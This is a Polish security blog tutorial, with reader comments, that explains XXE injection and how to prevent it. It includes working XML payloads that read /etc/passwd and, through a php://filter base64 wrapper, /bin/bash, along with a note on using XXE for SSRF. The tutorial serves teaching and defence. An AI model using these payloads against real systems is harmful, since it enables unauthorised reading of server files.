Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Mikołajki z sekurakiem! od 2 do 8 grudnia!
Konferencja Mega Sekurak Hacking Party w Krakowie – 26-27 października!
Mikołajki z sekurakiem! od 2 do 8 grudnia!
Podatności związane z XXE (XML eXternal Entity) ostatnimi czasy zdobywają coraz większą „popularność” w aplikacjach internetowych. Najczęściej wykorzystanie XXE jest sposobem na wykonanie ataku Path Traversal, czasem może jednak dawać większe możliwości. Przyjrzyjmy się tematowi z bliska.
XML jest językiem formalnym, którego celem jest reprezentowanie danych w strukturalizowany sposób. Typowy dokument XML może wyglądać następująco:
<?xml version="1.0" encoding="UTF-8"?>
<strony>
<strona id="sekurak">
<nazwa>Sekurak</nazwa>
<url>http://www.sekurak.pl/</url>
<komentarz>I <3 Sekurak!</komentarz>
</strona>
<strona id="owasp">
<nazwa>OWASP</nazwa>
<url>https://owasp.org/</url>
<komentarz />
</strona>
</strony>
W pierwszej linii mamy deklarację XML. Obowiązkowy jest jedynie atrybut version, ale najczęściej spotyka się ją także z parametrem encoding. Następnie zdefiniowany zostaje element główny (root element), który składa się z dwóch elementów <strona>. Elementy <strona> zawierają po jednym atrybucie (id) oraz trzech elementach-dzieciach: <nazwa>, <url> oraz <komentarz>.
Przyjrzyjmy się dokładniej elementowi: <komentarz>I <3 Sekurak!</komentarz> w którym pojawia się encja <. De facto encje możemy traktować jako operację w rodzaju „znajdź i zamień”: podczas interpretacji wartości elementu <komentarz>, encja < zostanie zamieniona na znak <. W powyższym przykładzie encja < była obowiązkowa ze względu na specjalne znaczenie znaku <. Gdyby wpisać I <3 Sekurak, otrzymalibyśmy błąd parsera, ponieważ potraktowałby on <3 jako otwarcie tagu.
Weźmy bardzo prosty skrypt w PHP do parsowania XML-a z powyższego przykładu.
<?php
$xml = file_get_contents('test.xml');
$strony = new SimpleXMLElement($xml);
foreach($strony->strona->komentarz as $komentarz)
echo "$komentarz\n";
Kod realizuje następujące operacje:
Zobaczmy co się stanie, jeśli w pliku test.xml umieścimy nasz przykład.
Zgodnie z oczekiwaniem, został wyświetlony tekst I <3 Sekurak – encja < została zamieniona na znak <.
Oczywiście standard XML przewiduje możliwość definiowana własnych encji; można to zrobić w elemencie <!DOCTYPE>. Poniżej modyfikujemy przykład, dodając encję &shp; rozwijaną do „Sekurak Hacking Party” (dla zwięzłości, usunąłem też rekord owasp).
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp "Sekurak Hacking Party"> ] > <strony> <strona id="sekurak"> <nazwa>Sekurak</nazwa> <url>http://www.sekurak.pl/</url> <komentarz>I <3 Sekurak! &shp;</komentarz> </strona> </strony>
Dodałem wspomnianą encję oraz odniesienie do niej w tagu <komentarz>. Zobaczmy jak teraz zachowa się skrypt.
Świetnie! Encja &shp; została zamieniona na „Sekurak Hacking Party”. Jak widać, definiując takie encje możemy sobie oszczędzić pisania ;).
Dopiero teraz zacznie się jednak robić ciekawie. Encje XML-owe mogą być także importowane z plików. Założeniem tego mechanizmu była możliwość utworzenia pewnych definicji encji, które mogą być współdzielone między wieloma dokumentami, bez potrzeby definiowania ich w każdym z osobna. Spróbujmy jednak trochę nadużyć tej funkcji…
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp SYSTEM "/etc/passwd"> ] > <strony> <strona id="sekurak"> <nazwa>Sekurak</nazwa> <url>http://www.sekurak.pl/</url> <komentarz>I <3 Sekurak! &shp;</komentarz> </strona> </strony>
Zmieniłem definicję encji &shp; – dołożyłem słowo SYSTEM (to informacja, że encja ma być pobierana z pliku), a jako plik wskazałem /etc/passwd. Zobaczmy co się stanie.
Voila! Wykorzystaliśmy niepozorną interpretację plików XML do przeprowadzenia ataku Path traversal.
Atak ma jednak ograniczenia, otóż dołączane pliki:
Zatem czytanie plików binarnych w ogólnym przypadku odpada. Istnieją różne możliwości obchodzenia tych ograniczeń – są one jednak bardzo mocno zależne od używanej technologii i biblioteki.
Pokażę jak w PHP można obejść problem z użyciem wrappera php://filter. Wpierw jednak sprawdźmy jak zachowa się aplikacja w przypadku próby dołączenia binarnego pliku /bin/bash.
Próba nieudana. Przygotujmy więc filtr, który enkoduje wyjście z czytanego pliku do base64. Wygląda następująco: php://filter/convert.base64-encode/resource=/bin/bash
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp SYSTEM "php://filter/convert.base64-encode/resource=/bin/bash"> ] > <strony> <strona id="sekurak"> <nazwa>Sekurak</nazwa> <url>http://www.sekurak.pl/</url> <komentarz>I <3 Sekurak! &shp;</komentarz> </strona> </strony>
I zobaczmy co się stanie teraz:
Tym razem bez błędów – możemy więc czytać dowolny plik na dysku.
Warto zdawać sobie sprawę, że XXE umożliwia nie tylko czytanie plików lokalnych; zwykle da się również wykonywać zapytania http(s), ftp, czasem również inne protokoły. Stąd prosta droga do skanowania sieci lokalnej (np. enumeracji hostów) z użyciem tzw. Server Side Request Forgery. Możliwości jakie daje atak XXE są silnie zależne od używanych technologii, np.
Ochrona przed atakiem XXE Injection polega po prostu na blokowaniu możliwości importowania zewnętrznych encji – zwykle w danych pobieranych od użytkownika taka funkcja nie jest do niczego potrzebna. Przykładowo w PHP można użyć funkcji:
libxml_disable_entity_loader(true);
Inne języki również mają swoje odpowiedniki, odsyłam do odpowiednich dokumentacji. W części interpretatorów XML-a dołączanie zewnętrznych encji jest domyślnie wyłączone.
Przyjmując dane w postaci dokumentu XML musimy pamiętać o podstawowej zasadzie bezpieczeństwa: nigdy nie ufaj danym otrzymanym od użytkownika. W tym przypadku zagrożenie niesie importowanie encji z zewnętrznych plików, efektywnie umożliwiające atak Path traversal.
Właściwie jedynym powszechnie używanym zabezpieczeniem jest całkowite wyłączenie ładowania zewnętrznych encji w parserze XML-a.
Kilka ciekawych linków do dalszej lektury:
— Michał Bentkowski
Jeszcze jeden dodatek do dalszej lektury: największa nagroda w historii facebookowego bug bounty została wypłacona za błąd, którego bazą był właśnie XXE:
– https://www.facebook.com/BugBounty/posts/778897822124446
– http://www.ubercomp.com/posts/2014-01-16_facebook_remote_code_execution
To jest to co tygryski lubią najbardziej! Następny art tego typu niech będzie o php:unserialize()
Nie ukrywam, że mam ten temat ostatnio na oku ;)
Coraz ciekawiej na tym sekuraku, dzięki tobie Michał
Brawo ! Zwięźle i na temat. Poziom 1 liga !
Ludzie : “Keep Calm and Carry On” -^~
Olo: “stay tuned”.
Michał ma już małą bombkę na kolejny tydzień :-) Już jest w zasadzie opisana, tylko czekamy na zapatchowanie problemu przez zainteresowanych – czyli firmę Google :-P
Super artykuł. Okazuje się, że w bibliotekach Javy pojawia się potencjalnie insecure default. Nic dziwnego, że programiści o tym zapominają. Bardzo łatwo to przeoczyć.
Porobiłem parę testów na bibliotekach JDom oraz Dom4J celem rozpracowania tematu dla Javy. Gdyby ktoś był zainteresowany – kod umieszczony został na githubie: https://github.com/marpuch/Java-Sec-Examples
Ja bym powiedział, że programiści nawet nie tyle zapominają, co w ogóle nie mają świadomości problemu ;-)
Do kompletu do ataków na XML-a możesz dorzucić jeszcze Billion laughs: http://en.wikipedia.org/wiki/Billion_laughs
Hmm… Czy pewno to jest “Path traversal”? Nie przypadkiem RFI?
Tak, XXE pozwala czytać dowolne pliki (“path traversal”), nie pozwala jednak bezpośrednio ich wykonywać (nie ma więc mowy o “remote file inclusion”). Ewentualnie, o czym jest też mowa w artykule, oprócz samym “path traversalu” można tutaj mówić o “server side request forgery”.
“W pewnych implementacjach można używać protokołu gopher://, który umożliwia wysyłanie danych de facto w dowolnym protokole pod dowolny port.”
Z tego co mi się wydaje, to można używać tylko protokołów w TCP, chyba że się mylę?